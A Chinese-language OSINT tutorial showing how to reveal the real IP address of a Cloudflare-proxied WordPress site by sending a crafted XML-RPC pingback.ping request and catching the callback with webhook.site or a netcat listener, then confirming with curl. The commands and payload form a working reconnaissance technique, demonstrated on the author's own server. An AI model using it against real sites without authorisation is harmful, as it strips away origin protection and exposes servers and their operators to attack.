Hi!请登陆

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

2023-2-3 523 2/3

Cloudflare是一家为其客户提供域名 (DNS) 服务、分布式拒绝服务 (DDoS) 保护和内容分发网络 (CDN) 的公司。这些服务支持网站向用户提供一致、快速和高度可用的内容。Cloudflare 同时提供免费和付费服务,在过去十年中获得了很大的市场份额——大约占整个 CDN 空间的 20%,以及超过 40% 的 Alexa 百万网站。

因此,调查人员在研究具有网络存在的目标时,经常会遇到受 Cloudflare 保护的网站。我出于特定原因使用“受保护”一词。作为其免费产品的一部分,Cloudflare DNS 提供代表后端网站“代理”流量的选项。这使 Cloudflare 能够在全球范围内复制网站内容,通常可以利用公司的全球规模来提高网站加载速度。这也具有向 Cloudflare 本身以外的任何人隐藏网站的某些识别特征的效果,例如网站的 IP 地址。

使用 IP 地址,您可以做很多事情,包括识别同一网站管理员拥有的其他网站,甚至识别用户自己(有适当的授权),因此这些数据对于许多 OSINT 调查至关重要。坏人也知道这一点,他们会充分利用 Cloudflare 的保护功能。这一点,再加上 Cloudflare 相对“放手”的方法,意味着该公司已经就其是否已采取足够措施阻止虐待儿童图像 或白人民族主义内容 在其网络上的传播进行了一些批评。如果没有 Cloudflare 支持团队的太多帮助,调查人员通常被迫寻找绕过 Cloudflare 的 IP 保护的方法。

有很多很酷的工具,包括Francesco Poldi 的最爱、 Crimeflare和 这篇 SecJuice 帖子中分享的技术,可以识别受 Cloudflare 保护的域背后的真实 IP 地址,但今天我要谈谈一种技术来识别隐藏在 Cloudflare 后面的 WordPress 网站的 IP 地址。

WordPress 是一种非常流行的网站内容管理系统 (CMS),并因容易受到攻击而享有盛誉,因为网站管理员通常不会应用最新的补丁和更新。但是,我们不需要为此依赖攻击。我们只需使用默认设置的普通 WordPress 安装和几个网络工具即可找到 IP 地址。

这些 Web 工具将利用称为“Pingbacks”的功能,该功能在大多数 WordPress 实例中默认启用。当一个博客上的帖子链接到另一个博客时,Pingbacks 允许不同的 WordPress 网站在彼此之间建立链接。pingback 创建一个“反向链接”,从你链接到你自己新发布的博客页面的页面返回,有点让人想起 1990 年代的“博客圈”,博客会链接到相关的博客,以便为他们的朋友带来流量,社区。

其工作方式是 pingback 请求说服目标 WordPress 服务器联系 用户控制的服务器来协商 pingback。除非目标已禁用 pingback 或手动编辑 WordPress 安装以混淆 IP 源,否则 WordPress 服务器本身将联系您的 pingback 服务器,这会将其 IP 地址暴露给您。

下图显示了与 Cloudflare 和 WordPress 站点的正常通信。Cloudflare 不会泄露它用于与后端通信的 IP 地址,这迫使我们另辟蹊径。

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

与下一张图进行比较,显示 pingback 如何说服 WordPress 服务器连接到我们的“蜜罐”pingback 服务器,该服务器将它找到的 IP 地址转发给我们。

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

设置

为了避免“利用”现有站点,我暂时*在 DigitalOcean 服务器中启动了一个 WordPress 实例,我将使用它来演示 IP 地址泄漏。设置服务器后我做的第一件事是在我的站点和域之间启用 Cloudflare 代理,因此原始 IP 不可能通过正常渠道泄露。

* 我会暂时离开这个网站,随时测试可用的技术 🙂

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

为了对此进行测试,我对我的测试主机名执行了 ping 操作:

ping wordpress.nem.ec

它返回以下 IP 地址:

104.28.27.49

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

将此 IP 地址插入任何 IP 查找站点,例如myip.ms,您将看到 IP 地址所有者是“Cloudflare, Inc”——正如预期的那样。如果您直接查找域名,这同样适用 。

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

为了发现我的服务器背后的私有 IP 地址,您可以采用两种方法。一个依靠两个网络工具来探测 WordPress 站点并收集数据,另一个使用广泛使用的 Linux 命令行应用程序来收集相同的数据。就个人而言,我更喜欢在所有情况下使用网络工具来揭露受保护网站背后的 IP 地址,原因很简单 - 网络工具会隐藏您自己的 IP 地址来自控制目标网页的(潜在犯罪)目标的 IP 地址。在这两种情况下,这都不是“被动”侦察——你的探测很可能会出现在目标的访问日志中(如果目标监视它们),所以你和它们之间的层次越多越好. 不过,我将同时演示 Web 工具和 Linux 工具,因为 OSINT 从业者应该对构建自己的工具持开放态度。这些网络工具可能随时从互联网上消失,我想至少提供一个参考,供您在评估替代网络工具或自己构建一个时回顾。

网络工具(推荐)

首先,我们需要验证服务器上是否启用了 pingback。在浏览器中加载目标 WordPress 站点并打开任何博客文章。修改 URL 并添加view-source:到开头并按 Enter 以查看页面的源代码。按下Ctrl+F并搜索单词pingback。如果启用了 pingbacks,“href”属性中将有一个 URL 链接到 pingback 元素(例如<link rel="pingback" href="https://wordpress.nem.ec/xmlrpc.php">

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

记下 pingback URL博客文章的完整 URL 以备后用。

回拨网址

https://wordpress.nem.ec/xmlrpc.php

博文网址

https://wordpress.nem.ec/2020/01/22/hello-world/

现在,在浏览器中加载以下网站:https ://webhook.site/

如果这是第一次加载该站点,您将被重定向到一个全新的唯一 URL(例如https://webhook.site/#!/e1f36ec8-850a-4cc3-b3dc-c3d19448a6b2),并且该网站将开始“等待第一次请求……”。如果您以前使用过该网站,您可能会在侧边栏中看到一些旧请求。没关系,你可以忽略它们。稍后再打开此选项卡。

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

在新选项卡中,在浏览器中访问 URL https://reqbin.com/ 。单击Content 选项卡并选择XML (application/xml)作为您的内容类型而不是默认值:

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

现在,将GET下拉列表更改为POST并将您之前记录的 Pingback URL 粘贴到下拉列表旁边的 URL 框中:

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

之后,将以下模板复制并粘贴到 XML 内容文本区域:

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
 <param>
  <value>
   <string>https://webhook.site/e1f36ec8-850a-4cc3-b3dc-c3d19448a6b2</string>
  </value>
 </param>
 <param>
  <value>
   <string>https://wordpress.nem.ec/2020/01/22/hello-world/</string>
  </value>
 </param>
</params>
</methodCall>

您必须将模板中的两个 URL 替换为您自己的 URL。第一个是您在本节开头找到的您自己的唯一 webhook.site URL。第二个是您之前记录的完整博客文章 URL。

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

单击“发送”并等待服务器的响应。如果服务器试图将您重定向到主页,这可能意味着服务器已经安装了阻止 pingback 的软件。我自己的安装遇到了这个令人沮丧的问题(尽管我重新启用了它们以便我可以写这篇文章!)并且在您发送第一个请求之前您无法测试它。如果发生这种情况,该网站已保护自己免受 pingbacks 的影响,您无法使用此技术发现他们的 IP 地址。

此外,此方法有点盲目。无论您的检查是否成功,您都应该期望在请求后从服务器返回一个“faultCode”为 0。XML 如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>0</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string></string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

因此,判断成功的唯一方法是检查https://webhook.site选项卡上的请求日志。发送我之前的请求后,这是我看到的:

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

成功!找到了一个请求,它显示了一个我们以前从未见过的新 IP 地址。如果您单击 IP 旁边的小“whois”链接,它会准确显示我们正在寻找的内容:

DigitalOcean, LLC DO-13 (NET-64-225-0-0-1) 64.225.0.0 - 64.225.127.255

作为进一步确认,IP 地址64.225.37.249确实与我在注册此 DigitalOcean 服务器后分配的 IP 地址匹配。恭喜,你已经从 Cloudflare 幕后窥视并暴露了我的服务器 IP!

如果您怀疑他们正在代理他们的 IP 地址,请对您正在调查的任何 WordPress 站点应用相同的策略。

工具

作为上一节中功能强大的 Web 工具的替代方案,我们可以使用一些标准的 Linux 命令行应用程序来完成相同的任务。我们需要netcatcurl应用程序,以及在您的路由器/防火墙上打开端口的权限。

按照上一节的第一段记录您的 Pingback URL 和 Blog Post URL

回拨网址

https://wordpress.nem.ec/xmlrpc.php

博文网址

https://wordpress.nem.ec/2020/01/22/hello-world/

现在进入您的路由器并将 TCP 端口 80 转发到您的 PC。根据我的经验,Wordpress 将拒绝向 80 或 443 (https) 以外的端口发送 pingback,因此它需要是端口 80。如果您的路由器允许,您可以将路由器端口重定向到您自己 PC 上的其他范围。执行此操作的方法因路由器而异。如有必要,请查阅您的手册。如果您决定租用 VPS(虚拟专用服务器)进行测试,您的端口 80 可能已经对互联网开放,您可以跳过这一步。

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

接下来,找到您的公共IP 地址。如果您的 IP 以 192.168.* 或 10.0.* 开头,则它可能是私有IP 地址并且无法使用。此外,一些 ISP 会阻止在端口 80 上接收数据,以防止您在住宅计划中自行托管网站,如果您的 PC 在 VPN 后面,您也将无法从目标服务器接收到 pingback。在这种情况下,请禁用您的 VPN 或短期租用 VPS,以便为目标 WordPress 服务器提供“蜜罐”以进行联系。

如有必要,您可以使用以下命令找到您的公共 IP:

curl -4 icanhazip.com

在空的终端窗口中,运行以下命令。它将等待来自目标 WordPress 服务器的新连接。sudo是必要的,因为我们正在监听 <= 1024 的端口,该端口仅供 root/admin 访问。

sudo netcat -v -l -p 80

创建一个名为pingback.xml以下内​​容的新文件。将第一个 URL ( 10.0.0.1) 替换为您自己的公共 IP 地址和端口。不要管假的“路径”,因为某些 WordPress 安装会拒绝 pingback 普通域以减少滥用和垃圾邮件。将第二个 URL 替换为目标服务器上博客文章的 URL。

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
 <param>
  <value>
   <string>http://10.0.0.1/hello/world</string>
  </value>
 </param>
 <param>
  <value>
   <string>https://wordpress.nem.ec/2020/01/22/hello-world/</string>
  </value>
 </param>
</params>
</methodCall>

现在运行以下命令。pingback.xml是您刚创建的文件的相对路径,https://wordpress.nem.ec/xmlrpc.php应替换为本节开头的 pingback URL。

curl -X POST -d @pingback.xml https://wordpress.nem.ec/xmlrpc.php

执行命令后,等待一段时间让数据出现在您的 netcat 会话中。它看起来像下面这样:

listening on [any] 80 ...
64.225.37.249: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [64.225.37.249] 47647
GET /some/site HTTP/1.1
Host: 10.0.0.1
User-Agent: WordPress/5.3.2; https://wordpress.nem.ec; verifying pingback from 10.0.0.1
Accept: */*
Accept-Encoding: deflate, gzip
Referer: http://10.0.0.1/hello/world
X-Pingback-Forwarded-For: 10.0.0.1
Connection: close

如果您没有收到 netcat 命令的任何输出,可能是由于多种原因造成的,不幸的是,目标 WordPress 服务器不会告诉您失败的确切原因。检查您是否可以在您的公共 IP(例如curl http://my.public.ip)上连接到您的 netcat 会话,并且您没有任何操作系统防火墙阻止访问。

检查 netcat 输出的第二行以获取 WordPress 服务器的 IP 地址。和以前一样,隐藏值是64.225.37.249

验证 IP 地址

现在你有了一个 IP 地址,你如何检查它是否真的属于你的目标?一种简单的方法是发出 cURL 请求并伪造 Host 标头以假装它来自服务器的主机名。

例子:

curl -k -H 'wordpress.nem.ec' https://64.225.37.249

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

如果您的目标网站在具有共享 IP 的共享主机上运行,​​这可能不起作用,这将使用一种称为服务器名称指示 (SNI) 的技术在单个 IP 地址上运行多个 HTTPS 网站。为了解决这个问题,cURL 提供了一个--resolve 参数来显式地将域名和端口映射到 IP 地址,而不是使用传统的 DNS 查找。它必须包括端口和完整域名。

curl -k --resolve wordpress.nem.ec:443:64.225.37.249 https://wordpress.nem.ec

发现隐藏在 Cloudflare 后面的 WordPress 站点的 IP 地址

就是这样。狩猎愉快!